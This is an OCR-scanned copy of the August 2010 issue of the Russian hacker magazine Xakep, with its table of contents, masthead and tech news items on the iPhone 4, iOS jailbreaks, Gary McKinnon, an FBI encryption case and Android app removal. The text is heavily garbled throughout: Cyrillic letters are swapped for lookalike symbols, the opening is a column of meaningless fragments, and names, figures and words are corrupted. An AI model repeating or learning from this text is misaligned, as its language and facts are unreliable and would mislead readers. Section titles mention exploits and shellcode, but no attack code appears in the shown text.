close

Вход

Забыли?

вход по аккаунту

?

xakep 08 2010

код для вставкиСкачать
Август0в(139] 2010 ^-, |сЁРвБРнь|и
.'А,А5сшРт
РА3БиРАвмся с шопв.'$
, н0вАя РуБРикА
} 0 виРус**,
стР. 30
0апе|ап!'
п|-,!п пеа|а
--Ёо
;-о
:-
Ф:
о:о
*:о
оЁо
Ф-6
э*о
---Ф
*
Б11;
/!ш0
гБс1
|4 Ру|
\сь!
\х, !
нг
)!у
ш_т
|ви
;РА
нА,
|и
)А
А]
'ст
цп!
)Аш
!ти
)0Б
0к
10
'0
и!
|Б!
к}
Б!
/А
Р,
н
Р1
т]
ш
к!
А|
п!
в
т|
|с
Ах
(Ё
(,
к
х
вЁн
[их
ь|
ис
в]
:ки
ть!
ши
Рт!
|ц
Ём
|йс
0Р'
у1
\ш
;с}
|п
Ах
;и
[;
х
в
!А
|с|
м
с,
п0]
вн
Р0|
0в
|АЁ!
ик(
0п
;в
тР
с0!
!вА
ни!
св0и
у]пш5тотА[
со3дАвм свРвис
для пРоввРки ФАйлА
нпсколькими АнтивиРусАми
стР' 74
BemeP34 for Journal-plaza.net
[т4е9а},!ешз
Рс-70шЁ .
026 ]т{ас0$[+!!Ёша[8ох=лю6овь
3апускаем макось под вирцальной машиной к 0ди н г .
029 (олонкаредакт0ра
й]сгозо{1'з{а!|, или почемутакдолго грузится винда? 104 14сщсство зом6ирования
сцгнА.
09в 1!уАесатрассир0вки
Решение проблем с прилохениями при помощи лилить! 51гасе
Азбука создан ия неугоняем ь:х 6отнетов
[имуляция п0керн0г0 0рга3ма
8кури ваем в кодинг покернь;х ботов: создаем
симулятор трен ировки
112 [!отаеннь:есць|ш|п{0ш$
йсследуем недра операционной системь:
с помощьюдебаггера и нетолько
1 15 (одерскиетипсь|итриксь!
[ри правила кодинга на [++дя настоящих спецов
$уш/Аск .
'1 1 в 8ходв с0циалки _ на ам6арнь:й замок!
Бще несколько способов контроля трафика
и уп равлен ия доступом
122 [квозьза:щтнь|еп0рядки
[1ро6рась:ваем порть! в окнах, никсах и кисках
127 [!е спасовть перщлавин0й
|!одготавливаем веб-сервер к высоким нагрузкам
1з2 8ирцшьнаясфера
!п равляем о6ла ками с помощью !\4шаге м5рбеге
юнить|
136 Р$1[}!0: Атака сл0в0м
|1ерная риторика в процессе убехдения
140 гА0 шш!т!0
Большой РА0
004 8се новоеза последний месяц 0в2 [т,|играции 11-шников сРщней п0л0сь|
|де и какхивщ наши за границей
ггппшм. |^!||.|! 9
юникс0ид "
01 6 (щинг попкорна
!н и мся созда вать пла гинь]для медиаплееров Рорсогп1! 08в [онка воорщений
0 1 в 1еш непопов сравни ваем популя рн ь!е расш ирения безопасности для 0[ |!пцх
0бзор свехих хелезок на !п1е[А{огп 09 4 [!ингвин с рвактивнь!м ранцем
!скоряем запуск прилохений в |!пшх
0з0 [ервернь:й.!аи$сг!р1
3накомимсяс\о0е.1ь,иликакнавсегдаотказаться 1 0в
отР!Р, Рег| и Ру|Боп
034 8арлрайвингвнашемвеке
[1ентестбеспроводнь!х сетей: что нового?
в3л0м
0зв [азу}!ас[
|акерские секреть: прость:х вещей
042 06зорэксплоитов
Разбираем свехие уязвимости
047 8ошушнь:йдур]||лаг
йстория взлома крупного беспроводного провайдера
050 [!е6езопасностьнАт0
(ак ЁА10 борется с хакерами
056 !т!орфим, не 0п0дя 0ткассь|
йдация кода во время компиляции
062 $ритьври::о!
8злом голландского онла йн -смар гшопа
066 !4дем на пасхшьную 0х0ц
['1одробности е99 Боп[ шеллкода
072 [-1оо[з
['1рограммь: для взлома
мАшАп[.
074 !|гцз1о|а[св0имируками 14з ||иско
6оздаемпу6линнь:йсервисдляпроверки 8.5 |бвсякойвсячинь:
файла несколькимиан1ивирусами 144 шшш2
0 78 (раш-тест отечественнь|х антивирус0в !добнь;ешеб-сервись;
₠уровая проверка грандов А!-и ндустрии: по6едивш их нет|
BemeP34 for Journal-plaza.net
ц''95 1 + [!Ёша[8ох = лю6овь
3апускаем макось под вирцальной машиной
056
},4орфим, не 0п0дя 0ткассь!
\,4рация кода во время компиляции
050
}!е6езопасношь }!А10
(ак ЁА10 борется с ха керами
\9,?*,0имируками
[оздаем публиннь:й сервис для проверки
файла несколькими антивирусами
/Р₠дАкция
>главнь!й редашор
никита "п!к![о22, кислицин
(п!к!1о2@геа!'хакер.|!)
>выпускающ|й редапор
николай<9ог["Андреев
(оопцп@геа!.хакер'гц)
>РодактоРь! ру6рпк
взл0м
.!митрий.Ёог6" !окунаев
({огь@геа!.хакер.г0)
Рс-2ошЁ и |]ш!т5
6тепан "з[ер, йльин
(51ер@геа!'хакер.г!)
|.]ш]х0 0' 5у\/Аок и Р5усн0
Андрей "Ап0гц5ьоск" матвеев
(апсгц$ьоск@геа!'хакер.гц)
к0динг
Александр "0п к[оцп!:",|озовский
(а!ехапоег@геа!'хакер.г0)
>л'терацрвь!й радактоР
юлия Адасинская
>РедакоР хакер.гц
леонид Боголюбов (ха@геа1.хакер.|ц)
/Апт
>АРт_дшрешор
Бвгений новиков
(поу]коу'е@9апе!ап0.г0)
>веРсальщ[к
Бера 6ветль х
(5уе1!уь@9апе!апо.|0)
/оуо
>вь!пу(кающ!,й Редапор
|тепан "51ер" йльин
(51ер@геа!.хакер.гц)
>Редактор шп!х-раздела
Антон "Ап1' хуков
>},|онтажв[дэо
максим тру6иць!н
/Ршв[15н|шо
вапо)|ап'!
>учред'т₠ль
о00"!еичл)]д.' ] ]902'' мос} ва ул.
{имура Фрунзе, д. 1 1 , стр. /+4 45
[ел., *7 1495] 935 7034
Факс: *7 ({95| 780 632{
>генеральнь!й директор
дмитрий Агарунов
>упРавляюций дир₠ктоР
Аавид [1]остак
>д|ректорпо ра3в'т[ю
[1а:::а Романовский
>д'Решор по пер(оналу
татьяна гудебская
>ФиЁансовый д'репоР
Анастасия |]еонова
>Редакц'оннь!й дирешор
дмитрий ладь!женский
>Рп-хенеджер
наталья литвиновская
>д!,решор по наРкет|нт
дмитрий плющев
>павхь!й д[зайнеР
энди тернбулл
>д'репор по производсву
сергей кучерявь!й
/РБклА|{А
/тел.в [495] 9з5-70з4' факс: 1495) 780 8в24
>дирепор группь! оАм15 & о|о!т^!-
Ёвгения [брячева |цогуасьеуав9апе[ап0.г0|
>менерк₠рь!
0льга Ёпиельянцева
мария нестерова
мария николаенко
>мене!р(ер по продахе оапе]ап{ ту
йарина Румянцева
1г0пуап{5еуав9апе[апа.г!]
>Ра6ота ( решаннь|и' агентсван'
лидия стрекнева {51ге[пеуа[09апе[ап6.гц]
>стаРш'й ненеджер
[ветлана 0иннук
>ненедхерь!
Ёадехда |оннарова
наталья мистюкова
>д!, репо9 группь| (пецпроектов
Арсенит! Ашомко (азьофков9апе1ап6'г0]
>фарщ|й тРафик_неведжер
марья Алексеева {а[е!эееуа09апе[ап6.го]
/0тдЁл РвАли3Ации
спвцпРо[ктов
>д'репор
Александр коренфельд
{иогеп{е{0в9апе[ап6.г0)
>ненеджеРь!
Александр гурьяшкин
светла!а мюллер
[атьяна 9ковлева
/РАспРостРАЁБЁ[₠:
/[ел.в [495) 935-4034' факс: {495) 780-3624
>д'решоР по дистР'6уц['
кошелева татьяна (ко$пе!еуа@оапе1апа'г0)
>Руковод'тель отдёла подп[(к'
гончарова марина
(9опсьагоуа@9апе!ап6.г0)
>Руко3од'тель спецра<про0ран₠н!, я
лукичева натшья (!0к спеуа@9апе1апо.г0)
> претензи! [ дополн|тельная |нФа:
в олучае возникновения вопросов по
качеству влохеннь!х диоков 'пишите по
адресу] с!а1п@9апе!апо.гц.
> гор'чая льнвя по подп[(ке
тел.:8 (800) 200.3.999
Бесплатно для звонящих из России
>ддя п'сех
]01000' москва,
|лавпочтамт, а/я 652' |акер
зарегистрировано в йинистерстве
Российской Федерации по делам печати'
телерадиовещанию и средствам массовь1х
коммуникаций пи я 77-118о2 от 14
февраля 2002 г.
отпечатано в типографии
"| !е|0!а5 п!уа5". литва.
}ирах 1 00 000 экземпляров.
цена договорная.
мнение редакции не о6язательно совпадает
с мнением авторов. Редакция уведомляет:
все материаль! в номере предоставляются
как информация к размь:шлению' /1ица'
использующие данную информацию
в противозаконнь!х целях' могр бь:ть
привлечень! к ответственности. Редакция в
) ! их слу!ёях отве |( | вечности не ьесет
Редакция не несет ответственности за
содерхание рекламнь;х о6ъявлений в
номере. за перепечатку наших материалов
без спроса _ преследуем.
по вопросам лицензирования и получения
прав на использование редакционнь х мате_
риалов хурнала обращайтесь по адресу|
соп[еп[а9апе[а пс 'г0
@ 000 "|ейм.г]энд"' РФ' 20]0
BemeP34 for Journal-plaza.net
мАРия "м г8 ||" нвФ₠д0вА
ш@щ
к
м г0Ашг
оБо всвм 3А послЁдний мвсяц
угАдАи чт0: 0Ргш $0шпсг, н0 нв с0Фт
й ноги е до с их п ор не могут по нять'
почему' распрос': раняя софт бесплатно
и с исходниками' разработни ки [правда'
очень немногие] умудряются неплохо
зарабать:вать' 1ак воттебе новь!й тренд
- 0рел 5ошгсе Ёаг6ииаге [05Ё\ш]. Аа-да'
если верить статистике' то разра6отчики
свободного хелеза зарабать: ва ют мил-
лионь!, а некоторь!е - и десятки мил-
лионов долларов в год' Бизнес-модель
по разработке открь!того ап паратного
о6еспечения состоит в том, ятобьп создать
дизайн некоего устройства и вь!лохить
в открь:ть:й доступ файль; с нертехами и
схемами, которь!е кахдь:й мохет бесплат-
но использовать и модифицировать' 1ак
на чем хе они зара6ать:вают? 8 первую
очередь' на комплектах <<6делай сам".
!апример, парни из компании |!чш!6шаге
[ш*ш [:чш:6шаге.сот| предлагаю' 8еа9[е
Ёпбе00е0 51аг1ег (!1 - набордля созда-
ния планшета изсерии "сделай сам,.
Б набор входят:0[[0 дисплей
Беа9[е1ошсБ с диагональю 4'3" {тачскрин,
разрешение 480 х 27 2]' |1-1оп аккумулятор
8еа9[е3ш!се 2600 пА[, которого хватит
на 3-6 часов,50-карта на 4 [б, на борц
которой ухе установлен Ап9з|гогп ||пшх и
материнская плата 8еа9[е8оаг6. 8 итоге
из всей этой грудь! хелезок собирается
полноценнь.й девайс' которь:й изначаль-
но открь!тдля прокачки. !-]ланшет мохно
и нухно кастомизировать: вместо |]пшх'а
легко устанавливается Ап0го16, а к самому
дева йсу доба вля ются дополнительн ь!е
модули такие как' например, РЁ!0_счи-
ть; ватель' !стройство для снифинга
&Р!0-меток на базе Ап6го]6 с класснь!м
интерфейсом - словом, все зависит
тол"ко о-твоей фантазии. 0бойдется
такой конструктор почти в $400, но это
явно дешевле' чем' например' разбирать
новь:й !Ра6:].
0БлАчн0г
хРАнилищЁ 0т 0000[Ё
Ёдва мь: рассказали отом' как о6ланнь:е хранилища даннь:х Агпа:оп 53 мохно использо
вать не тол ько на вь!со кона грухе н ном серве ре, но и п росто у себя дома 1статья "Агпааоп
53 для обь:н н ь:х сме ртн ь!х> из п рошлого номера 1 [) ' ка к 6оо9 [е а но нси ровал свой о6лан -
н ь: й сервис - 0оо9 [е 51ога 9е [ог 0еме[орегз {со6е.9 оо9 [е.со гп/а о 1з/з|ога це). Ёовое хра н и -
лище является прямь!м конкурентом 53 и предоставляетбезотказнь:й и бь;стрь:й хостинг
для даннь:х без каких-либо огранинений. ['1одход простой: <сколько ресурсов потребует-
ся' столько и используй, за столько и заплати>. (ак и в слунае с 53, даннь:е с 6ольшим
уровнем избь:тонности, чтобь: бь;ла возмохность восстановить потеряннь:е фрагменть:,
распределяются по различнь!м датацентрам компании. ['1равда' уАпа:оп датацентрь!
есть в трех местах пла неть! ' в том ч исле в Ёвропе, нто умен ьшает заде рхку для пол ьзова-
телей из этого региона, а у 6оо9[е - пока только в [[1татах. [ другой сторонь!, и сам сервис
пока находится в стадии полуза крь!то го тестирова н ия. !'ля того, нтобь: оп робовать подхо-
дь: 0оо9[е к облачномухранению даннь!х. оценив веб-интерфейс 0оо9[е 51ога9е папа9ег
и консольную лилиц 0501!|' необходимо заполнить анкец на сайте и дохдаться своего
инвайта. зато кахдь;й зарегистрированнь;й разра6отчик бесплатно полунает 1 00 |б
дл я да н н ь;х и 300 [б трафи ка. (стати, ухе из вестно, скол ько с0ста вит оплата за испол ь_
зование хранилица в будущем. [ак' гига6айт подданнь:еу <Амазона> стои1 в среднем,
$0. 1 05, а у 0оо9 |е на м ного 6ол ьше - $0. ] 7. (огда счет идет на терабайть:, дахе нескол ько
центов - это очень большая скидка.
хАкЁР 08 /1з9/ 10
BemeP34 for Journal-plaza.net
св0Б0ду мАккинн0ну!
8озмохно' тебе покахется знакомь:м имя |арри 1\:1ак(иннона, и это совсем не уди-
в ител ьно, ведь в начал е нулев ь:х этот бр ита н ский гик наделал не мало шума ' ха кнув
серверь! |]ентагона и ЁА[А. }огда он сумел влезть в 97 государственнь!х машин, что,
как утверхдают американць!, привело к поврехдениям компьютеров, отключениям от
сети и ущербу в размере $800 ть:с' А |арри всего-навсего искал информацию об |,|'10
и совершенно не собирался ничего портить' ( слову говоря' он так ничего и не нашел
и сам уверен' что не причинил никакого ущерба 1ем не менее, йа(иннона еще в
2002году нашли и арестовали' впоследствии отпустив на свободу с условием запрета
на пользование [! ( и ехедневнь:х визитов в полицейсь ий увасток. [ тех пор |арри'
страдающий отсиндрома Аспергера, депрессии, неврозов и присцпов паники' стал
со всем пл ох' но [ []..]А, нач и ная с 2005 года. все настойв и в ее требуют его э кстради ци и.
3 Америке хакеру грозитдо 70 леттюрьмь и огромнь:й штраф. |:1ать йак(иннона и
уфологи-активисть! все это время отстаивали |арри, как могли' но без особого успеха.
Ёа даннь:й момент шанс отменить экстрадицию остался всего один - по медицинс-
ким показаниям. ['1сихиатр йак(иннона щверхдает' что его {|ациента никак нельзя
перевозить в 6[1!А' ведь |арри еще никогда в хизни не покидал пределов родного
города.
05\{' и [.]й|5' [мель:й подходоказался бомбой:
если телефон взять в левую руки дотронувшись
до левого нихнего края смартфона' то сигнал
постепенно падает и, в конце концов, аппарат
полностью теряет связь| Ёдинствен ное' что мо-
хет п редлохить Арр[е, и это сло ва са мого [ти ва
!хобса на гневное письмо - просто не дерхать
его та ки м о6разом [в о ри ги нале: ,<.-| цз| ауо|0
Бо[0!п9 !{ |п |Ба| шау>>) или вот еще: купить рези-
новь:й. бампер" - кусочек красиво: о китайс-
кого говна за $29 . Ау' или заклеить с котчем, че го
не стесняются ярь;е фанать; ,]. [читаем дальше
- это второй фейл. 8ахное новшество нового
!РБопе 4 - это, безусловно, сногсшибательнь:й
дисплей Ре|!па. [:1нхенерь Арр[е натом хе
3.5-дюй мовом экра не умудрились разместить
в 4 раза бол ьше п и кселей ' чем на п редь1дущих
моделях !РБопе. [1'х плотность настолько вели-
ка' что человеческий глаз не мохет различить
отдельнь:е 78 микрометровь е пиксели на раз-
решении 960х61+0. |о вотон' третий фейл - на
некоторь]х экземплярах на экране появляются
хелть:е пятна |.<1ак чего хе его тогда поку-
па ют?' - да п отому что это ме гателефон | [1 ри
всех извес-ьь!х плюсах он обзавелся глассной
5-мегапиксельной камерой' которая мохет
снимать видео с разрешением 720р [и не 6удет
курить в темноте' потому нто обзавелась |Ё0-
вспь;шкой]' [1омимо этого появилась фрон
тальная камера для видеозвонков. [')равда,
последняя работает нерез ![1- Р | по технологии
Ёасе||гпе' которая пока досцпна только поку-
пателям !Р[опе4' хотядолхна скоро появиться
и в 5[<уре. ['1омимо этого добавился гироскоп.
более емкая батарея' энергосберегающий про-
цессорА4, и' конечнохе' новая операционная
система - !05 4.0. |лавная фича - это на6ившая
ос ком ину м но гозадач ность' [1е ре кл юне н и е
мехду свернгь!ми лрилохениями происходит
практически моментально, но для поддерхки
мультитаска долхнь! покорпеть еще и сами
производители программ, вь1пустившие новь е
релизь! с учетом обновленного 50( отАрр[е.
37000 .:е''''к удалили аккаунть: в Расе!оо1< в знак пр0теста пр0тив т0г0, чт0
с0циальная сеть не 6ережет приватн0сть ихданнь!х
|Рн0шг ц,у1лу1 (.,ш$т Ау0!0 н0[0!ш0 !т |ш тнАт шАу>
[тиву!хобсу понадобилось 1 '1 2 минщ на конфе-
ренции разработчиков \,{\:!0₠ 201 0' нтобь: рас_
сказать о том, что нас хдет: мь! хе постараемся
улохиться в одну новость' Бнешний виддевайса
ни для кого не стал сюрпризом. (огда прототип
устройства попал в руки хурналиста 0!апо6о'
мало кто верил' что уродливь:й кирпич - это но_
вь:й ]РБопе' (омментарии а-ля ".!а сразу видно'
что китайская подделка> стихли после того, как
Арр[е прислала запрос с требованием вернль
девайс' а после релиза на \4/\:!0[ разом пре_
вратились в радостнь!е восклицания по поводу
вумового дизайна нового смартфона. 1щ, как ни
крди' Арр[е - короли маркетинга. (вадратность
в диза й не п оя вилась из-за того' что с обе их сто-
ро н тел ефона теп ерь ал юмосили катное сте кло.
!аннь;е с конференции | оно в з0 раз прочнее и
в 20 раз хестне пластика. Раньше этотсупер-
проянь:й материал применялся в производстве
вертолетов и сверхскоростнь!х поездов, а теперь
- в !РБопе. Ёа сайтеАрр[едахе естьлю6опь;т-
нь:й ролик, где стекло подвергается плавному
воздействию' под которь!м легко гнется' 6ейчас
хе, после начала продах' в 6ети есть немало
фоток с раз6ить;м стеклом: вь!дерхивая плав_
н ь!е на груз ки, оно точ но та к хе, ка к и обь: ч ное.
не вь!дерхиваетрезкой нагрузки| 3то первь:й
фейл. 1олщина !РБопе составляет теперь
9,3 мм - это самь;й тонкий смартфон на сегод
няшний день. !,4нтересно, нто креплениями для
всех компонентов ]РБопе являются металли-
неские обод,и по всей боковой 1оверхносг/ те-
лефона.0ни хе являются антеннами в[0е1оо1п'
!!]-Ё !, 0 Р5' а такхе телефоннь:ми модулями
) 006
х^кЁР 08 /1з97 10
BemeP34 for Journal-plaza.net
и3РАиль вЁРБугт хАкгР0в
8се больше и больше государств на нашем голубом
шарике приходит к вь!воду, что создание специальнь!х
киберподразде лений - это продиктованная временем
необходимость ' Ёот и Азраиль решил уделить особое
внимание данному вопросу' так как атаки на израиль_
ские сайть! и попь!тки взлома правительственнь!х
ресурсов в последнее время участились' 8 Армии
о6ороньп Азраиля {цАхАл], в структуре крупнейшего
подразделения военной разведки 8200, скоро появится
настоя щий <киберспецназ>, комплектовать которь;й
собираются гиками и хакерами. (омпьютернь:х гениев
ухе начали искать в рядах !-]А[А[!а и внимательно
вь!сматривать среди призь!вников. 8ариант приглаше-
ния специалистов со сторонь!, из невоеннь!х структур,
тохе рассматривается. 8 задачу нового подразде-
ления войдет не только защита хизненно вахнь!х
узлов изра ил ьского ки6ерпростра нства, но такхе
атаки и захват контроля над стратегически вахнь!ми
врахескими объектами в 6ети. |ечего сказать' затея
интересная и вполне в духе времени..!ахе как-то
о6идно' что в нашей армии нет подобньтх спецотрядов.
[огласись' бь:ло бь; круто' если бь; вместо тупь;х тестов
на профпоигодность и заданий типа ( \опать о]сюда и
до обеда> давали бь: в зубь; пгт']ар, отладчик и тестовое
задание для взлома.
0т винтА!
3а последние 3 меся40 6ь:ло пр0дан0 0к0л0 2000 глушил0( для
п0давления сети [о!а. 1аким о6разом 6изнес_центрь| 6орются с дешевь!м
интернет0м' ставшим д0ступнь|м для их клиент0в
(огда 5{ер поставил на свой древний
\:!!п6отмз коммуникатор программу,
передающую изобрахения с камерь! по
!!!-Ё!, первое, что они с Ёогб'ом сделали
- смело приклеили скотнем телефон к
радиоуправляемой машинке и гоняли по
кухне редакции :]. Ёо все это - баловс-
тво по сравнению с гиковской игрушкой
Рагго1АР.0гопе ' 3нешне это о6ь;чнь;й
радиоуправляемь:й вертолет, пусь ай и
стал ьного футуристического вида' [ла в
ное вдругом - вместодхойстикадля
управления используется акселерометр
!РБопе' а в качестве радиоканала - тех
нология \.4/!-Ё!. 8 зависимости оттого' как
вертеть в простра нстве телефон, будет
изменяться направление двихения
квадрокоптера. |о дахе это еще не все.
!,4зо6рахения с двух камер, которь!ми
оснащен Рагго| АР.0гопе' передаются
Ёа )<ран смартфона' превращая девайс
в настоящий беспилотник. 6 унетом
дал ьнобойности \7[! - Ё 1 мохно улетать
на игрушке дахе в те места' которь1х
физинески не видишь. Адля того. чтобь:
не сшибать все на своем пути [все-таки
ориентироваться по изо6рахению не так
ух и легко)' на вертолете установлень!
уль']разву/вь е альтиметрь!, а сам девайс
приводится в двихение электромото-
рами. 8первь:е Рагго| АР'0гопе бь:л
представлен зимой на вь:ставке [Ё5'
однако никакая информация о продахе
не разглашалась. (томухе, не бь:ло
до к0нца ясно, удастся ли наладить се
рийное производство. й воттире новь!е
даннь!е. (вадрокоптер все хе поступит
в продаху, и случится это ухе осенью.
06ойдется такая игрушка всего в $299.99
против прогнозированнь!х ранее $1 000-
1 500] }вь;, на станицах хурнала никак
не вставить видеоролик с презен гацией
этой офигенной игрушки' ноть! просто
обязан посмотреть ролиги на сай':е
аг6гопе.рагго|.согп' чтобь: понять наш
востор г.
> 008
х^к₠Р 08 /1з9/ ]0
BemeP34 for Journal-plaza.net
гугл 0 Ф 0 н ил у1 у1гРуш кА?
0нень необь:нную новинку презентовала компания
йо1ого[а : коммуникатор [[!р0ш1 ориентирован на
молодехь и вь!полнен в непривь!чном глазу виде и
забавном форм-факторе - он !упо квадратнь й.
Размерь: девайса совсем маль:: 67 х 67 х 17 '
но под верхней нас гью ус'т ройства, под сен-
сорнь!м дисплеем 2.8'' с разрешением 320
х 2&0 пикселей скрь! вается полноценная
0\:!Ё&1|-клавиатура. Раскладь: вается
смартфон легко: верхняя часть с дисп-
леем проворачивается вокруг одного
из углов' 8 результате печатать на
таком смартфоне удобно' а дерхать
во время разговора пухль:й малень-
кий предмет - не очень. |1опро6уй
захать Ё[! р 0 ш1 плеч о м, и тут хе
увидишь, какАп6го!0 2.1 падает
в прямом смь!сле слова :]' Аа-да'
новь:й девайс вь:ходит на старой
версии Ап0го!0'а. !о кто знает, мохет
йо|ого[а разродится новой прошивкой
с Ап6го!6 2.2 к моменту продах? [тандартная
оболочка системь} заменена на йо1о8[шг' которая
позволяет получить бь:стрь;й доступ к 1ш!1|ег и люби
мь1м сервисам 0оо9[е. 8се это работает онень бь стро; еще бь: - 600
й|ц процессор и 51 2 [т:1б оперативки' (стати' именно благодаря тагой
производительности парни из йо1ого[а не по6оялись сделать того,
чего никогда не 6удет в !РБопе - добавить браузер с включенной по
умолчанию поддерхкой Ё[азБ. [отелось бь! верить, что ![еБ[!| не упадет
и не затормозит при первом хе корявом Р[азб 6аннере с первого хе
сайта:]. Б России новь й йо|ого[а Ё[|р0ш| появится примерно в августе
по цене 12000 - 14000 рублей' Ёеплоходля одновременно стильного
и' ктомухе' шустрого аппарата с А-0Р5' электроннь м компасом и
неплохой 3 \4п камерой на борту'
цз
8 новой версии |0$ 4 6ь:ло исправлен0 65 уязвим0стей, п0л0вина
из к0т0рь!х _ критические
!0$ 4.0 в3л0мАнА!
о^
5] :] вЁ!
ш
пла9етоо!
[,4 нтересное проти востоя ние происходит мехду за крь;той Арр[е, кото-
рая категорически запрещает любь;е модификации своих смартфонов,
и хакеров' которь!е старательно обходят все новь!е и новь!е защить!.
1ак, не успели Арр[е вь:пустить новую мобильную !05 4'0, как подсуети
лись ребята из 0еу ]еап [б[о9.!оБопе 6еуог9)' [разу за релизом новой
прошивки свет увидела их гилита для анлока, позволяющая отвязать
телефон от конкретного оператора. [еперь люди' обновившие модем
[так назь:вается телефон нь:й модуль смартфона)' смогут испол ьзовать
свои аппарать! в обход запрета Арр[е. [1рошло еще немного времени, и
парни вь!пустили новую утилиц - Ртмпа9е1оо[' позволяющую сделать
_]а:[бгеа! и предоставить пользовател ю возмохность уста на вли вать
лю6ь:е прилохения' в том числе пиратские' [1равда' рилита работает с
некоторь!ми ограничениями' 6правились с 4.0 и разра6отники другой
тулзь! - ге6зп0чм. А вот разработник самого универсального и популяр-
ного инструмента - 5р!г!| |зо|г!|]5.соп-':]' с помощью которого ломается
и !Ра6, пока в цпике. Арр[е пофиксила багу, которая позволяла запус-
тить шзег[ап6-эксплойт' 8место этого все усилия хакера сейяас сфоку
сировань! на новом баге, которь:й скоро долхен дать успех'
похмуйФ. вн6ерите устойсво, (оторое вн хопте модиФициро!ать.
}о иожет 6ыть !Р}опе зс(5). .Ро6 тоц(ь 2с.
) 010
BemeP34 for Journal-plaza.net
уАн00! - Б0льшг
нг п0иск0вик
1 5 лет понадобилось[аБоо], чтобь; понять, что искать в интернете они
не умеют. (омпания приняла решение оставить поисковь й 6изнес'
[лияние' начатое |аБоо] и й сгозо[{ еще в прошлом году, добралось
досвоегологическогофинала теперьпоис}овь:й алгоритм}а|оо1
полнос-ью заменил майкрософтовский 3!п9. й!сгозо[{' по суги' купила
1 0 летнюю лицензию на поисковь!е технолог']и партнера' с целью есл'1
не перегнать' т0 хотя бь; потеснить 0оо9[е. 31п9 действительн0 вось!1а
непл0х' н0 его основная проблема эаключается в том' что им практичес-
ки никто не пользуется. Благодаря хе альянсу с уаьоо йайкрософт смо
хет вь вести свой 3 п9 на позицию поискового двихка номер два в мире
и' наконец' сумеет получить от него прибь:ль. 3сли посмотреть се::нас
на любь:е инициативь; \4'1сгозо[! в вебе' то это хесточайший провал в
плане финансовой отдани. [ам хе [аБоо! постепонно превращается в
о6ь:чнь й медиапортал' хоть и с богатой историей.
<[ндекс> ежедневн0 п0лучает 0к0л0 100 млн. 3апр0с08, и и3 них 10%
написань! с 0ши6ками или 0печатками
гв! у$. тпшгспуРт
14нтереснь й поворот прои:зошол в истории
одного 6разильского банкира по имени !'анг:ель
[антас, которого заподозрили в мошенни
ностве с финансами и арестовали в 2008 году
в Рио де *анейро. [ледствие бь:, возмохно'
шло по стандартному сценарию' если бь: все
изъять1е из его квартирь! хардь |{е оказал|]сь
зашифровань:256 битнь м АЁ3. (лючей нет'
сам,!антас молнит' а использовать паяльник
нельзя. !,елать нечего' винть! пришлось отпра
вить в Ёациональнь:й инститщ криминологии
(!\[)' где они и застряли на пять месяцев. !то
ух с н!][1[] та[] делали _ непонятно воз[]0хно'
просто под|!]мали настроение перекладь вая
иэ одной: с:опкг; в друцю' но в 0тче-е ука3а']!]:
"Брутфорс по словарю.5 месяцев Бсэрезуль
татно ". Ё дг: н стве н 1-] ь1 м весо м ь! м рез\,/л ьтато |,1
стала дог0воренность с ФБР которь е пообе
щали попробовать свои силь1 в расшитфровке
даннь:х. 3оттут то и случ!]лся каз1'с _ федераль:'
на которь х \[ возлагалг; большие надехдь!,
ковь]рял1] несчастнь!едискг:6ольше года и' в
результа]е' такхе нинего не до6илг:сь. 3ернув
хардь: в Бразил;!ю' спец!!алисть! из ФБР лишь
развели руками. [огласно отнету федералов'
даннь]е на дисках зашг:фровань: двумя софти
нам[' название одной из которь х неизвестно'
зато второй оказалась бесплатная тгцесгур{'
которая наверняка те6е известна. /]з того хе от-
чета ясно' чтотем самь!м <передовь м методом>
ФБР оказался'.. опять хе брщфорс. |у, а где хе
закладки в программе' мастер-пароли для от'
крь:ти:я любого шифра' статистические методь!
для деш ифрова ния данн ь!х и т.д. и т'п.? !а плохет
он'] и есть, и паяльник никто не отменял' а та-
кими новостями лишь усь:пляется бдительность.
мм0 - дгтям нг игРушкА
3 ['1однебесной ухе давно не только следят за глобальг:ь м файерволом' но
ещеи кососмотрятнаонлайновь;еигрь;. 3 разнообразньей90 за6авь
рехстся огромнь:й процент населения. 3то ухе само по себе непорядок:
когда х им найти время' чтобь: лепитьтелефонь и материнские пла-
ть:? [1роизводители хе уходят на ]айвань, надо что то срочно делать :].
Аналитикг: предрекают' что к2012году('ита(а захватитбольше 50% рь нка
й|т/0 игр' и ег0 доходь составят 41 млрА' юаней [это около $6 млрд.). [1о
с 1 го авцста текущего года китайские геймерь!' не достигшие 1 8 лет'
окахутся в очень неприятной сицации. 8ласти решили' что несовершен
нолетним игрокам нельзя использовать ники только настоящие имена и
другие личнь!е даннь:е' 1,4нфа на кахдого игрока будет проверяться.,|юбая
онлайновая игра теперьдолхна бь;ть оборудована системой анти зависи
мости. 1о есть' черезтри часа после начала т;грь геймерлишится половинь!
зара6отанного в игре за это время' а если не прекратит играть' то через
пять часов лишится вообще всего заработанного' 3ладельцам он пайн_!|гр'
в свою очередь, нухно подтвердить свою 6лагонадехность и обладать
капиталом не менее $].4 млн [1 0 миллионов юаней]' йавной целью новь!х
правил в (ЁР назь]вают (защиц молодехи) и 6орь6у с расцщим числом
интернет зависимь!х людей в стране. |1о последним даннь м' к их числу
относятся около'14% от256 миллионов } итайс} их геймеров' то естьболее 33
миллионов человек.
> о12
хАк₠Р 08 /1 з9/ ] 0
BemeP34 for Journal-plaza.net
спЁцслужБь! сшА нгг0дуют
(ак м ь: }оке п исали ' компания А0| в а п реле теку
щего года приняла решение продать мессендхер
!!0 фонду 0!9 !1а|5|у [есБ по[о9!ез за $ ] 87.5 млн.
051 - это российская и н вестиционная группа '
\оторой' в частности, принадлехи п контрольнь:й
па кет а кци й йа ! [. гш. 6дел ка в ь: гл ядит в п ол н е л о -
гичной: <аська> в России очень популярна' плюс
у сервиса мнохество пользователей в [ермании.
8 штате к0мпании 0оо91е трудится 20621 человек, из них 60ле е990/омладше
40 лет.
сАмь|й Б0льш0й ь0тнгт 0т 0000|_Б :)
Бурнь;е обсухдения вь:звали действия корпорации 0оо9[е, которая
сначала официально подтвердила наличие в 0[ Ап6го!6 возмохнос-
ти дистанционногоудаления прилохений' а потом не преминула ею
воспользоваться. {ертвой стали два сомнительнь!х прилохения'
созданнь!х специалистом по безопасности в ходе интересного экспери
мента. Ресернер хотел показать' насколько легко мохно распространить
зловредное прилохение. причем с помощью самих пользователей- !ля
этого в Ап6го!6 йаг[е| бь:ло добавлено два совершенно бесполезнь;х
прилохения, для которь!х' однако' бь:ло написано привлекательное
описание. /1 нто ть: думаешь? [1ользователи активно стали устанав
